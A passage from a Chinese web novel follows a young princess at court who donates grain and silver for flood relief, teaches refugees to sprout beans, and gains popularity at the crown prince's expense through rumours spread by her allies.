大殿之上,死静一片! 皇帝幽幽的看着司徒澈。 司徒澈亦不服输与他对视! 昨晚与影主谈过话后,他不光恨上了姜妃,连带着这个不作为的父皇也怨上了。 他什么都知道,却选择一次次放过那个女人! 为什么? 凭什么? 司徒澈心中憋屈,为影主憋屈! … 他不知道的是,他恨的姜妃,此时此刻也很想死! 唐蕊又来了! 这次甚至都不等下人通报,大摇大摆进了她的殿中,声音直接开到最大分贝:“奶奶,我来看你啦~” 第212章 家国兴亡,匹夫有责 姜妃都还没起,皱了皱眉,翻了个身,继续睡。 唐蕊却直直跑到她床边,抓着她的手一阵摇晃:“奶奶奶奶,我来啦,快起来哦,太阳晒屁股啦…” 素锦眼珠子都快掉下来了,可却被幻蝶挡着,想拦都没办法。 姜妃终于睁开了眼睛。 见是唐蕊,气得都快吐血了:“又是你!你们…” 姜妃恶狠狠的等着满屋宫人:“你们都是死的吗?” 宫人们齐刷刷跪了一地,看向唐蕊腰间明晃晃的免死金牌,有苦说不出! 他们不是啊! 可这…不敢拦啊… 姜妃也看到了,气了个倒仰,抓狂怒吼:“司徒蕊,你有完没完?啊?本宫不想看到你,滚,你给我滚!” 唐蕊愣愣的看着她,嘴巴一瘪,哇的一声哭了。 姜妃真的好想死,捂着耳朵尖叫:“闭嘴,你给我闭嘴!” 唐蕊就不,还哭得更大声了。 姜妃真想一刀宰了这个小贱人。 可昨天司徒霄专门来找过她,动之以情晓之以理,让她不要轻举妄动。 但…但这死丫头,太踏马可恨了! “奶奶不喜欢我,还凶我哇…哇呜呜呜…” 唐蕊就是故意的,自然不会让她好过,扯着嗓子就是哭。 素锦赶紧来劝,唐蕊却不给她面子了。 云华宫因为唐蕊的到来,又是一阵鸡飞狗跳。 姜妃过得水深火热,唐蕊玩儿得不亦乐乎! … 一连几天过去,姜妃无能狂怒,却一直都没对唐蕊出手。 唐蕊失了耐心,去宫里的次数也渐渐少了。 雨势依旧不减。 大夏很多地方都遭了灾,民不聊生。 顾若雪瞄准时机,又暗戳戳的使坏了。 她让人放出消息,旧事重提,直指祭天太子失误之过。 一时间,民怨沸腾! 而顾若雪这阴暗批,默默隐身,深藏功与名。 唐蕊偶尔去云华宫报道,都使了劲的闹,最后甚至还捎上了小辉泽。 这下好了,双倍魔音! 姜妃吐血三升,生不如死,看唐蕊的眼神像是要吃人一样。 都这样了,她还是忍着。 唐蕊:“…”失望ing。 朝堂还在为闭关锁国的事争执不休。 司徒澈言辞越来越激烈,太子不开口还好,只要他一开口,就怼得他怀疑人生。 终于,皇帝松了口,答应闭关锁国。 百官高呼皇帝圣明,司徒霄及其一党脸色难看。 司徒澈瞥了他一眼,又给司徒泽使了个眼色。 司徒泽秒懂,站了出来:“父皇,最近大雨不断,民怨沸腾,很多地方都遭了灾,百姓们都说,是太子祭天失误,才让上苍降下灾祸。儿臣认为,太子应当亲自前往各地赈灾,将功赎过,以平民愤!” 皇帝还没开口,司徒霄就急了:“祭天一事明明是北狄探子林鸿之过,跟孤有什么关系?你别信口雌黄,血口喷人!” 还亲自去,灾区那些刁民是好惹的吗? 一个搞不好得了什么病,那多危险啊! 襄王瞥了他一眼,凉凉开口:“在自己宫中都能被林鸿得逞,说到底还不是御下不严?林鸿该死,某人也不无辜!” “襄王!”这事都过了,还能被提起来,司徒霄可不乐意:“孤是受害者!” 睿王屁撇撇嘴,小声嘀咕:“你多无辜哦,把天下人当傻子呢!” “你们…你们…父皇!”司徒霄跪下,哭唧唧的跟皇帝告状:“儿臣也不想搞砸祭天仪式,奈何林鸿这个贼子武功高强,儿臣又手无缚鸡之力,防不胜防啊!” 皇帝眉梢微扬,没有开口! 辰王神色淡淡,接过话来:“太子就算不想去,也该推举一可靠之人代劳,目前最要紧的是赈灾,而不是在这听太子自证!至于太子的东宫,御下不严,难辞其咎,太子也应当好生处理才是,怎么祭天过去这么多天,还是风平浪静?本王倒是不知,太子竟如此仁德!” 朝臣们;“…”好家伙,还得是辰王,瞧瞧,这一波嘲讽都拉满了! 司徒霄深吸一口气,咬牙冷静下来:“孤会依法处置,多谢三皇弟提醒!至于赈灾…” “当然得你去!”司徒澈打断他的话,眉眼一片冷凝:“太子还不懂吗?是不是你的错,已经不重要了,众口铄金,百姓觉得是你的错,那就是你的错,如今该做的是挽回声誉,而不是在这里推脱!” 司徒霄:“…” “小七言之有理!”皇帝终于开了尊口:“太子,赈灾,你是最合适的人选!” “…”赈灾赈灾,你说得倒是轻巧,倒是给钱啊! 司徒霄可是知道自己老爹表面大气,实际上抠门得很。 若是交给朝臣,他还能要点脸,多给点银子。 要是交给自己的儿子,那是能坑一个是一个! 现在他穷得要死,哪里还有余钱让皇帝坑啊? 等等! 也不一定要让给皇帝大出血啊! 司徒霄眼珠一转,看向司徒澈,笑了:“七弟,赈灾一事孤责无旁贷,但你也知道,国库吃紧,前不久听说昭华的庄子收获不小,不知…” “可以啊!”司徒澈懒懒道:“太子要是有什么想法,正好昭华也在宫里,不如让她亲自来跟你谈吧!” 太子见缝插针,立刻开启嘲讽模式:“昭华作为大夏郡主,难道还要银子?” 司徒澈没好气道:“那些粮是昭华的,要不要是昭华的事,倒是太子,连小丫头的便宜都占,说出去也不怕人笑话!” 司徒霄:“…”吵架他就没赢过司徒澈,这B嘴咋这么能说? 皇帝也想占点便宜。 没办法,今年收成不好啊,前面旱灾,现在涝灾,国库确实有点缩水,存粮也不够。 现在有太子挡在前面,他也能顺坡下驴:“那就吧昭华叫来吧!” 后知后觉反应过来的司徒霄:“…” 真服了这个坑儿子的爹了。 有眼色的陈德福立刻让人去请唐蕊。 姜妃也因此逃过一劫,躲在云华宫对唐蕊各种咒骂,就差做个唐蕊版小人使劲扎了。 没一会儿,唐蕊来了。 小小的人儿,一点都不怯场! 那小腰杆挺得笔直,目不斜视,有模有样给皇帝磕头请安。 皇帝笑呵呵的让她起来,委婉问起粮食的事。 当然,皇帝还没那么不要脸,真的想白拿,他只想花钱买,希望唐蕊能便宜点。 谁知… “这有何难!” 唐蕊小手一挥,非常大气:“家国兴亡,匹夫有责,这次昭华山庄的收成全部送给皇爷爷,另外昭华再独家赞助白银五万两!” 第213章 帝王术之借势而为 嚯! 文武百官惊呆了! 司徒澈也惊呆了! 不懂自家宝贝闺女葫芦里卖的什么药! 司徒霄阴险的表情逐渐僵硬,怀疑自己听错了:“昭华,你刚说什么?” “太子叔叔,昭华说,愿意把山庄此次的收成全拿出来,再另外从私库拿出五万两白银,救济灾民!” 唐蕊说罢,又无比真诚的看向皇帝:“皇爷爷,父王一直教导孙女,国者,无民不立,无王不兴。昭华所食皆为民之膏血,如今百姓有难,怎能袖手旁观?昭华身为大夏郡主,当以身作则,回馈百姓,与他们共渡难关!” 静! 大殿一片寂静,只余奶奶的小尾音不断回荡,掷地有声! “好!”皇帝起身,龙颜大悦,无比自豪:“不愧是朕的孙女!璃王,你把孩子教得很好!” “父皇谬赞…”司徒澈垂眸,狐疑的小眼神看向宝贝闺女。 她是这么无私的人吗? 唐蕊昂首挺胸,她当然是。 这个逼装得,她给自己打满分! 文武百官面露赞赏,对唐蕊的思想高度又有了个新的认识。 之前唐蕊失去清白的事闹得沸沸扬扬,哪怕事情过去了很久,还是有很多人带有有色眼镜看她。 可现在,他们真的甘拜下风,被唐蕊的人品折服了。 大夏郡主,什么好男儿找不到?有没有清白又如何? 她善良、谦卑、守礼,在大义面前义不容辞,贵为郡主却不忘初心,拼劲所有为大夏鞠躬尽瘁。 反观他们… 当即有几个老臣脑子一热,也站了出来。 “皇上,昭华郡主大义,老臣实在惭愧!臣,愿奉上纹银两千,救黎民于水火。” “老臣愿奉上纹银三千,救黎民于水火。” “老臣愿奉上纹银一千…” … 年轻的官员见几个老臣如此,也赶紧站了出来。 有出两百的,有出五百的,甚至还有出几十两的… 不管多少,他们此时都想表表心意。 几个王爷更是大方,都是万两起步。 司徒泽这个有点小钱的晋王,更是直接拿出了十万两! 得! 太子党和司徒霄也不好装鹌鹑了,也不甘不愿的站了出来,表示心意。 皇帝老怀安慰,还有些想哭。 他在位几十年,每次暗示这些狗东西捐点银子,都像是要他们老命一样。 可现在都不用他开口,一个小小的唐蕊把他们全都搞定了。 昭华,真是他的福星,是大夏的福星啊! 朝臣们:“…”那能咋办? 总不能被一个小女娃比下去吧? 他们还是很要脸的! “好!好啊!”皇帝感叹:“大夏江山有尔等贤能,焉不繁盛永昌?” 文武百官高呼:“臣等定当尽心尽力,为江山,死社稷,吾皇万岁万岁万万岁!” … 最后司徒霄还是成了赈灾使。 下朝后,皇帝心满意足离开! 司徒澈牵着唐蕊往外走去。 朝臣们也纷纷回家拿银子了,路过这父女俩身边时,都会笑眯眯的跟司徒澈打招呼,还会用一种无比敬佩的眼神看着唐蕊。 有些比较外向的,还会夸唐蕊几句。 最让司徒霄恼火的是,几个太子党居然也趁这个时候凑过去舔那对父女。 杨硕眯了眯眼眸,往前几步来到太子身边,低声说道:“殿下,事不宜迟,只能求助另外两国了。” 司徒霄冷声道:“闭关锁国尘埃落定,告诉他们又有什么用?难道还要给北狄把逍遥丸带进大夏的机会吗?” 杨硕垂下眼眸,眼底冷光闪烁:“殿下,两国使者来访,皇上无法拒绝,到时国门大开,我们才有机会把北狄囤的货运回来啊!不然,远在金阳城的…” 司徒霄一听这三字猛的侧头死盯着他。 杨硕赶紧改口:“殿下恕罪,臣也是为殿下着急啊!” 司徒霄轻哼一声,抬眸看着那对被百官簇拥的父女。 他又何尝不急! 这种头上悬着一把刀,不知何时会落下的感觉,真的太糟糕了。 难道,他就只能眼睁睁的看着,等这把‘刀’落下来吗? 司徒霄闭了闭眼,很快有了决断:“传信吧!” 杨硕神色一喜:“殿下圣明!” 司徒霄唇角微翘:“还有李家,已经很久没有孝敬孤了,既然李富想让她女儿入孤的东宫,那就如了他的愿!” 杨硕秒懂,面露难色:“可…李富的嫡女已经入了璃王府,现在待嫁的只有次女,她乃庶出,配不上殿下。” “多睡个女人而已!”司徒霄面露不屑,可看到不远处笑得灿烂的唐蕊,又长长的叹息一声:“孤不能光指着北狄那批货,昭华这丫头太邪门了,万一又被她破坏了怎么办?” 杨硕一脸心疼:“是,只是太委屈殿下了。” “只要大业能成,孤受点委屈又算什么?”司徒霄收回视线,转身离开。 … 父女俩终于摆脱了那些朝臣出了宫! 上了马车,幻蝶把小辉泽交给唐蕊,这才下去。 司徒澈接过小包子:“明天不带辉泽了,孩子还小,别受了凉!” “好吧…”唐蕊本来也没想带,是小辉泽扯着她的衣服,非要凑这个热闹哇。 没办法,回去后好好劝劝他,希望他明天能乖乖待在家里。 司徒澈看向女儿:“今天怎么回事?事先没听你说要捐钱!” “临时决定的哇!”唐蕊笑眯眯道:“爹爹你教过我的,帝王术之借势而为呀!” 这些天跟着司徒澈上朝路上,司徒澈就趁着没事开始教她了。 可司徒澈却没听懂,一头问号:“什么?” 唐蕊给了他一个‘还用问’的眼神,开口说道:“我今天的豪迈发言肯定会传入民间,就算传不了,我也会让人去传,到时候百姓们都知道是我这个昭华郡主仗义疏财,就算赈灾的是太子叔叔又怎么样?百姓们只会记得我的好哦。所以太子叔叔吃力不讨好,为我做嫁衣呀!” 司徒澈一脸懵逼! 司徒澈大为震惊! 不是… 借势而为,是指利用天灾、舆论等外部势力,推行自己的政策,如借“天谴”等名义改革吧? “借势而为,是你这么用的吗?” 第214章 顾楠聿,司农卿 “哎呀,不重要!”唐蕊小手一挥,满不在乎:“你就说我这是不是借势而为?” “呃…”司徒澈噎了一下:“算…算吧!” 借太子的势,给自己加声望,怎么就不算呢! 唐蕊一脸嘚瑟:“还得是我,我看太子叔叔都没反应过来呢,等他辛苦一通,百姓们念的却不是他的恩情,估计会被气死。” “…”有时候真想撬开宝贝闺女的脑瓜子,看看里面都装的啥! 司徒澈戳了戳她的脑瓜子:“调皮!给了五万两出去,你的小私库不得缩水大半,就不心疼?要不…” “大半?”唐蕊眨眨眼,不明所以:“爹爹,你是不是误会了什么?上个月容嬷嬷刚给我点了库存,我的小私库一共有三十多万两白银啦,还不算金元宝和各种赏赐哦,五万两白银而已,洒洒水啦!” 小私库只有二十多万两白银的司徒澈:“…” 默默闭了嘴! 看来,他得跟太子好好学学,多想想敛财的法子了。 这都被女儿比下去了! 司徒澈深吸一口气,决定转移话题,免得被宝贝闺女打击死:“父皇私下问起过那三种食物,想成立农司,设司农卿,专门派人学习如何种植,全国推广。” “没问题,等雨停了,我带他们去庄子上找邓爷爷一家!对了…”唐蕊好奇道:“司农卿是几品哇?皇爷爷有人选了吗?” “司农卿五品!”说到是谁的时候,司徒澈又露出了久违的嫌弃表情:“是顾家那小子!” 唐蕊惊呆:“顾楠聿?他这就做官了?” 老天奶,才十二岁就进朝堂? 皇爷爷这么看好他的吗? “现在还不是呢,圣旨应该过两天才会下来。” 司徒澈把唐蕊的表情自动定义为崇拜,哪哪都不爽了,赶紧开启洗脑模式:“爹爹也不是不喜欢顾家小子,可那小子太弱了,出了事都没能力保护你,一点也不爷们。以后你娶…咳咳…” 都被闺女带偏了! 司徒澈轻咳几声,一本正经改口:“以后你嫁过去了,可以再看看别的男子。人无完人,那咱们就多选几个,文采好的,武功好的,还有状元、榜眼、探花…每种优秀男子都来一款,凑齐了就等于拥有了完美夫婿!” 唐蕊:“……”量变决定质变么? 怀里静静听父女俩对话的小辉泽:“!!” 你真是我亲爹吗? 那个阴暗扭曲瘸腿儿的亲爹? 这人设怎么跟上辈子差那么多? 不过话又说回来,他也不喜欢顾楠聿,更不希望唐蕊嫁给顾楠聿。 别人不知道,他可是知道的,顾楠聿小时候被人拐子拐走,后门都失守了。 当初拐走顾楠聿的人拐子是太子的人,逃了,还没死呢! 几年后那个人会回来,搞臭已经是礼部尚书的顾楠聿。 上辈子顾楠聿就是受不住流言蜚语上吊自尽了,年轻的尚书陨落,顾家也开始走向衰败! 唐蕊要是嫁给顾楠聿,到时候还不得受牵连? 别人都会说,哎哟喂,昭华郡主的相公还是个断袖云云… 呼… 不急,几年后的事了。 等他能开口说话了,就把这事告诉唐蕊,想办法让皇爷爷收回圣旨。 … “阿嚏!” “阿嚏!” 顾楠聿打了好几个喷嚏,脑子也阵阵发黑。 少年提着两桶水,在屋檐下扎着马步。 仔细看去,那腿肚子都在微微颤抖,额头细汗流过眼角,顺着脸颊滑落。 驼背老人皱眉,手中藤条拍了拍他的背。 顾楠聿咬牙挺直背脊,继续坚持。 驼背老人满意点头… 不知过了多久,驼背老人示意他可以停下了。 顾楠聿手一松,两个桶翻倒在地,水洒了出来,他也一屁股坐在地上,大口喘气。 裤管掀起一角,露出黑色的铁块。 驼背老人不给他多休息的时间,又指了指外面,示意他可以开始跑圈了。 顾楠聿擦了擦脑门的汗,平复了一会儿呼吸才道:“哑奴,我每天这样练,真的有用吗?我感觉…还是跟以前差不多…” 哑奴摇了摇头,从怀里掏出纸张铺在地上,拿着炭笔写下话语:【武者分为外家高手和内家高手,公子年岁稍大,现在想走内家高手的路子已经太迟了,只能选择外家高手的一途,想成为独当一面的外家高手,不是一朝一夕能成的。其实公子变化很大,只是这种变化是循序渐进的,不取下腿上负重,察觉不了。】 顾楠聿摸了摸腿上的铁块,抿了抿唇,又道:“那…以后我能打得过璃王吗?” 哑奴眉头微蹙,又拿出一张纸铺开继续写:【璃王从小习武,是顶尖的内家高手。】 顾楠聿闻言失落的垂下头去! 晚了吗? 早知道,就该从小习武! 哑奴见他失落,叹息一声,继续写道:【外家高手想变成内家高手,也不是没有办法,只要一位内家高手把内力全都传给你,你也可以变成内家高手,但这要那位内家高手自愿!】 顾楠聿:“…”哪有这种傻子! 哑奴淡淡一笑,又写道:【公子,内家高手也是分内力高低的。只要你好好学,就算做不成内家高手,也能成为顶尖的外家高手,只要遇到的不是璃王那样的人,都有一搏之力,护你想护之人。】 “也对!”顾楠聿休息够了,起身活动了一下筋骨,跑进雨幕中。 打过老丈人就别想了,至少有保护昭华的能力,也算值得! “公子,公子!”小厮撑着伞匆匆而来:“来圣旨了,给您的!” 顾楠聿闻言只能暂时停下跑步,匆匆换了身衣服去前厅接旨。 他来时,一家人早已跪了一地。 顾楠聿敛下心里的狐疑,掀开衣袍跪下接旨。 圣旨内容很简单,无非就是成立农司,顾楠聿为正五品司农卿。 宣旨太监念完圣旨,顾楠聿都愣住了。 顾家人N脸喜色,柳氏开心得给宣旨太监塞了一个好大的红包! 宣旨公公笑着把圣旨递给顾楠聿:“以后奴才也能称您一声小顾大人了。” 第215章 脏东西就是脏东西,他还不配 顾楠聿却没想象中开心,反而有些不耐。 皇上咋想的? 他管着钟萃阁已经很忙了,怎么又派事给他? 真不把他当人是吧? “对了!”宣旨太监想起皇帝的叮嘱,又道:“小顾大人,皇上吩咐了,等雨停后,让昭华郡主带您去庄子上学习如何种植那三种粮食。” 顾楠聿一听,心里的不满瞬间不翼而飞,拱手道:“臣遵旨!” “那奴才就先告辞了!”宣旨太监离开。 顾家人喜出望外! 柳氏看着优秀的儿子,心里无比自豪! 顾老大乐呵呵的:“没想到,我儿小小年纪,已经官拜五品,再过两年,估计都快赶上我了。” 顾丞相捋了捋胡须,看这孙子的眼神也很骄傲。 不仅如此,他想得更深一些。 司徒澈肯定是下一任大夏君主,唐蕊也会成为名副其实的金枝玉叶。 顾楠聿与唐蕊有婚约,自古以来驸马不得实权。 现在看来,就算顾楠聿以后会成为驸马,皇帝还是打算重用他! 这足以说明,自家孙儿足够优秀,优秀得连皇帝都舍不得放手。 顾家有顾楠聿坐镇,至少能再兴旺百年! 顾丞相笑道:“南聿,以后每日午后来我书房!” 既然还能掌权,那就得继续培养。 “…是!”顾楠聿也想到了这一层,无语归无语,却没有反驳! 没有就算了,有了自然要珍惜。 毕竟,男子有权,才能更好的护住想护之人! … 大雨连着下了整整十二天! 第十三天的时候,终于放晴。 京城以及一些大城还好,事先做了排水系统。 只不过这个时代的排水管道都是陶管,有些不经事,但有总比没有强。 除了一些年久失修的房屋倒塌,以局部地域管道破损,伤亡及其受灾程度不大。 那些小城就不怎么幸运了。 没有排水系统,受灾严重,说是哀鸿遍野也不为过。 还有小村落的百姓甚至开始了逃荒。 一时间,京城人满为患,街道上随处可见乞丐。 为了控制京城人口,皇帝只能关闭城门,在城外设置粥棚,以平民心。 唐蕊听说了这事也没闲着,立刻去找秦芷嫣,得到她的允许后,与府中女主子们一起在城内开设粥棚。 太子早就把山庄的粮拉走出去赈灾去了,但唐蕊还是留下了小部分,正好能用上。 其他几个王爷见璃王府的这么积极,也不甘落后,回去跟自家王妃一说,她们也开始清点府中粮库,在京城各地设置了粥棚。 其他官员和商贾,也纷纷有样学样设粥棚。 情不情愿先不说,大佬们都行动起来了,他们不动一动,说不过去! 唐蕊怕那点粮不够,还让下人买了很多绿豆回来,开始发豆芽。 这玩意周期巨短,清脆可口,也能稍稍果腹。 随着第一批豆芽面世,璃王府粥棚处不仅是红薯玉米或土豆糊糊了,还多了一份炒菜,清炒绿豆芽,带油的那种哦。 于是,只有璃王府的粥棚最热闹。 散落在京城的乞丐们每天都是吃光了璃王府的粥,才去其他王府的粥棚处霍霍。 当然,这好评也是杠杠的。 唐蕊不光成了百姓口中的小仙童,就连璃王府几个女人也成了仙女下凡,救苦救难的活菩萨。 同时声望高涨的,还有在外地苦逼赈灾的太子。 顾若雪第一个听到了风声,美目一片阴沉! 陈姬怀孕的事还没瓜熟蒂落,短时间根本就伤不了太子。 可太子也别想借着这事在民间刷好感! 脏东西就是脏东西,他还不配! 于是这天,璃王府的粥棚里,百姓们吃着绿豆芽感恩唐蕊的时候,粥棚里的霜蓉笑眯眯道:“不光是绿豆芽呢,红薯、玉米、土豆都是出自郡主的手。这次赈灾,朝廷很多官员都出了银子,我家郡主甚至出了整整五万两雪花银哦。” 百姓们目瞪口呆! 五万两? 这个数字对他们而言太过遥远了。 缓过神后,百姓们这才找回自己的声音:“土豆红薯和玉米,就是我们吃的这种东西吗?” 霜蓉笑眯眯的点了点头:“对呀,各位吃的都是土豆糊糊,里面颗粒是玉米,橙色的块儿是红薯,配上豆芽,是不是管饱又好吃?” “这…不对啊!”有个衣衫褴褛,脏兮兮的年轻人当即说道:“俺一路从南边逃荒过来的,也遇到过太子殿下,吃过这些东西。俺吃的都是清粥混着的这红薯,要么就是玉米和土豆块,米都没几粒,稍不注意都能吃到沙子,根本就吃不饱。都是同样的东西,怎么就这么不一样呢?” 他话音刚落,有人也回过味来了。 “是啊,为什么太子施的粥要把这三样东西分开,不学学璃王府,把三种食物放一起呢?这土豆糊糊多好吃啊,喝一碗我就饱了,喝太子的清粥,喝三碗都不饱。” “还能为什么,太子故意的呗,这次老天爷发火,都是因为他祭天失误,我们吃的粮,也都是昭华郡主的,太子又给了我们什么?” “这也太不像话了,明明能让我们吃饱,却故意藏着掖着。” “哼!太子他就是想让我们感激他,太不要脸了,明明付出的都是昭华郡主,是璃王府,是朝廷大官们,说白了,他就是跑个腿而已。”第一个开口的年轻人说完这话,又隐身了。 刚听到传言,匆匆赶来,想好好发挥一下,给太子泼脏水的唐蕊:“…” 得! 不用她发挥了! 再看那个隐身的年轻人,唐蕊更是无语。 这不是二格么? 二格冲她咧嘴一笑,端着个破碗,一瘸一拐溜了溜了。 完成任务,他得回去向顾侧妃复命了。 “…”还别说,挺像个瘸子的。 唐蕊扯了扯大格,小声问道:“二格不是我的马前卒吗?怎么都不跟我说一声?” 大格笑道:“二格早上去领早膳,听到霜蓉说起了外面的传言,很生气!知道顾侧妃想找个配角,说什么都要为郡主出一份力。” “怪不得,我还以为他忙其他事呢!”唐蕊嘀咕了一声。 霜蓉此时也看到了唐蕊,赶紧放下大勺走了过来:“郡主,您怎么来了?” 第216章 文殊庵,求姻缘很灵的 唐蕊呵呵:“我来看看…看看…” 想干的事儿都被顾庶母干了,也只能看看了。 百姓们听到霜蓉的声音,不可置信的看向唐蕊,一个个双眼放光,感动得不要不要的。 这就是昭华郡主? 郡主竟然亲自来看他们? “昭华郡主千岁千岁千千岁!”百姓们当即放下碗,跪了一地。 “都起来,起来吧,粥要趁热喝哦。”唐蕊嘿嘿一笑,强调了一句:“还有,我可不算千岁哦,宫里的公主姑姑们和妃位以上的娘娘们才算千岁。” 大夏皇室就是这样的规矩,她想做千岁,那得等老爹登上皇位。 “是,民妇愿日夜为郡主祈祷,好人有好报,郡主长命百岁!”有位抱着孩子的妇人红着眼眶,朝唐蕊深深一拜。 其他百姓也有样学样,纷纷向唐蕊行跪拜大礼,齐齐高呼:“郡主好人有好报,长命百岁!” 唐蕊:“哎呀,都起来叭,快吃,吃完了来我这领绿豆哈,我教你们怎么发豆芽哦!” 百姓们一听这话N脸不可置信。 “郡主你…愿意教我们?”不管什么手艺,特别是跟吃有关的,谁不是藏着掖着? 唐蕊居然要公然教他们。 唐蕊点了点头:“教啊,俗话说得好,授人以鱼不如授人以渔嘛。豆芽很好发的,有水就行,周期也只有几天,还能循环收割。你们学会了,以后想吃自己就能做!清炒凉拌都可以,煮熟了就行,就当多个菜了。” 没办法,雨停了,她也要开始忙起来了。 不光得带顾楠聿去庄子上,还得教青青她们化妆,实在是没时间。 豆芽都不是多金贵的东西,百姓们还是自己去发吧! 百姓们惊叹于豆芽这种神奇的食物的同时,对唐蕊更是无比感激。 还有好些个妇人甚至背过身去偷偷擦眼泪。 金贵的郡主,却对他们这么好,他们真是无以为报啊! 这一刻在百姓们眼里,唐蕊浑身都在发光,刺得他们眼睛酸酸的。 “快吃哈,吃完我要开始讲啦!” “多谢郡主!” 百姓们端起碗喝着土豆糊糊。 热乎乎的,很暖,一直暖到了他们心里。 以往吃完,这些灾民都会去往其他王府的施粥点,浑浑噩噩继续等下一个饭点到来。 可今天因为唐蕊的关系,他们都没有去,而是坐下来仔细听唐蕊讲怎么发豆芽。 只是没想到,发豆芽的过程居然这么简单! 这不是有手就会嘛! 唐蕊讲完,确定他们都听懂了,这才拍了拍手道:“既然都听懂了,那就排好队,每人来我这领一碗绿豆哈。不要乱,都排好队哦!” 百姓们很给面子,不过片刻就排起了长队。 散落在城中的其他难民听到了这个消息,也都赶了过来。 唐蕊来者不拒,只要排队的,不管大人还是小孩都有。 有些还在妇人怀中的孩童,唐蕊也会算上他们的人头,多给妇人舀一碗。 百姓们有碗的用碗装,没碗的直接扯起衣摆接。 大格则是盯着每一个人,敲打那些领了一次还想领的百姓。 没办法,什么时候都存在这种想贪小便宜的人。 有几个刁民被大格逮到,很不服气,想要闹。 可大多数百姓都念着唐蕊的恩呢,听到动静立刻齐齐看了过来,一个个眼神凶狠。 被这么多人盯着,想闹的人也不敢了,只能夹着尾巴灰溜溜离开。 唐蕊知道人多,没想到人这么多,她带来的七大麻袋绿豆很快就见了底。 还好,府中存货很够,她点了个忙活的家丁,让他回去继续拉。 日落西山! 二十三个大麻袋都空了,百姓们都领到了一碗绿豆。 唐蕊擦了擦脑门的汗,也准备打道回府了。 正准备的上马车的时候,唐蕊眼角看到了徐徐而来的少年。 金色的余晖倾洒在他身上,为他勾勒出一层温暖的轮廓。 一袭月白色长衫,袖口绣着白色云纹,随风轻轻飘动。 乌黑的发丝规整地束在脑后,几缕碎发调皮地垂落在额前,更添了几分随性。 少年微微一笑,犹如春暖花开! 唐蕊:“…”每见顾楠聿一次,都要被惊艳一次。 这丫的,怎么长得越来越妖孽了。 唔…好像又高了一些… 她每天也吃很多,个子咋就窜不了多少呢? 就踏马无语! “你怎么在这?” “去璃王府找你,守门的侍卫大哥说你在这,我就来了,可你一直在忙。” 顾楠聿掏出自己的手绢递给她:“擦擦汗吧!” “呃…谢谢啦!”唐蕊接过手绢胡乱擦了擦。 好家伙,手绢还带着味儿的。 一股竹香,挺好闻。 “我洗了还给你!”擦了汗,也不好还给人家了,唐蕊干脆塞自己袖口里:“你找我有事吗?” 顾楠聿扫了一眼她的袖口,眼底划过一丝柔色:“皇上让你带我去庄子学习,我想问问什么时候起程,需要带什么样的人,我好做筛选。” 唐蕊想了想才道:“我随时都可以,至于人选,老实可靠会种地的就行,你先选人,选好了告诉我,我们就去!” “好…”顾楠聿别开视线,有些不自在:“你那庄子附近有座庙宇,听说很灵验,我爷爷最近身体有些不好,到时候我想顺路去拜拜。” “这有啥,我陪你去!”唐蕊非常仗义。 “那就这么说定了,我选好人再来找你!”顾楠聿唇角微翘,转身离去。 唐蕊:“…” 怎么…一副怕她会反悔的样子? 唐蕊朝霜蓉招了招手,霜蓉赶紧走了过来:“郡主?” “我问问你哈!”唐蕊凑过去小声咨询:“梨山有寺庙?” 霜蓉点点头:“有啊!准确来说是一座尼姑庵,叫文殊庵,求姻缘很灵的,每年花灯节都有很多男女去那里求好姻缘呢!” 唐蕊:“…”顾楠聿这个小骗子! 忽悠她就算了,还咒顾丞相。 啧! 当他爷爷可真够倒霉的! 那么问题来了,顾楠聿真走心了? 不是,她才六岁啊! 喜欢六岁的小孩子,这家伙真是够变态的! 第217章 操控舆论,为她争民望 高高帅帅的美男子,唐蕊很喜欢。 可对顾楠聿,只想敬而远之。 “郡主,怎么啦?你想去文殊庵求姻缘吗?”霜蓉笑得很暧昧。 刚刚顾公子来找郡主她可是看到了,一时间脑子里被两小无猜青梅竹马等词汇疯狂刷屏。 “不该问的别问,赶紧收拾,我顺带稍你回去!”唐蕊无语的白了她一眼。 霜蓉还以为唐蕊害羞了,也不逗她了,嘻嘻一笑继续收拾残局。 … 捐粮又捐银子,还教大家发豆芽,昭华郡主乃仙童下凡的流言越传越烈。 百姓们对唐蕊充满感激,连带着司徒澈这个当爹的,和璃王府几个女人都狠狠刷了一波民望。 顾若雪趁热打铁,特意回了一趟娘家找顾楠聿。 没人知道姐弟俩说了什么。 但这之后,唐蕊的民望猛烈上升。 很多已经稳定下来的灾区地方官,甚至为唐蕊修庙宇,塑金身。 一时间,一个个福娃庙出现在大夏各个城池。 某茶社戏院粒的说书先生也循环开讲福娃的故事。 福娃本是观音娘娘座下小女童,每天无忧无虑,自由自在。 某天路过大夏,见战神为守国门身受重伤,心中敬佩又感动。 掐指一算,未来百年,大夏没了战神庇护,百姓不但要遭受北狄侵扰,还要遭受各种天灾。 福娃心下不忍,不顾观音娘娘劝阻,下凡投胎成为战神的女儿,替他护大夏一方平安! 当然,听书的人也不是全信的,质问说书先生:“说得跟你亲眼看到的一样,你一个凡人,还知道神仙的事?” 说书先生捋了捋胡须,高深莫测道:“这位公子,老夫观你命官光明如镜,本应是学问皆通之相,可两边又凹陷多纹,此乃贫贱边滞,破尽家财之势。敢问公子,最近家中是否破了大财?” 那人脸色一变:“你…你如何得知?” 说书先生哈哈一笑:“天机不可泄露,你只需知道,老夫做说书先生之前,人送外号神算子就好。” “先生,我呢我呢?看看我。”又有位中年男子开口。 说书先生看了他一会儿,这才慢条斯理开口:“眉秀而疏,形如新月,短粗逆散。眉乃兄弟宫,这位爷,你和你兄弟的关系,不太好吧?” 中年男人大为震惊,看说书先生的眼神都变了:“神机妙算,神机妙算啊,先生真乃高人。” “先生先生,看看我。” “还有我…” “各位,各位!”说书先生抬手打断了他们的问话,叹息一声道:“泄露天机报应不爽,老夫现在只是一位说书先生罢了,若不是前段时间听到那些陷害福娃的流言,也不会站出来。大夏近来灾祸不断,焉知不是某些小人触怒老天,才降下的责罚?” 一个书生笑道:“老先生,这只是你的一面之词罢了!” “福娃下凡后,战神恢复如初,还能保大夏江山几十年。辰王家的小世子被太医断言活不过十二,可现在呢?不仅如此,酷暑降价的冰块,还有这次高过水稻四五倍的粮食,哪一样不是福娃带来的?罢罢罢,信则有,不信则无,世人愚昧,老夫啊,只求问心无愧!” 说书先生无奈的笑了笑,弓腰驼背,提着自己的小板凳慢悠悠走了出去。 茶社的人隔了好久才反应过来,纷纷追了出去。 却只见那位提着板凳的说书先生,几个闪身没影了。 众人神色大惊。 “神仙,这是老神仙啊!” 无人看到,茶社不远处的一条小巷子里,两个老头正站在顾楠聿身后。 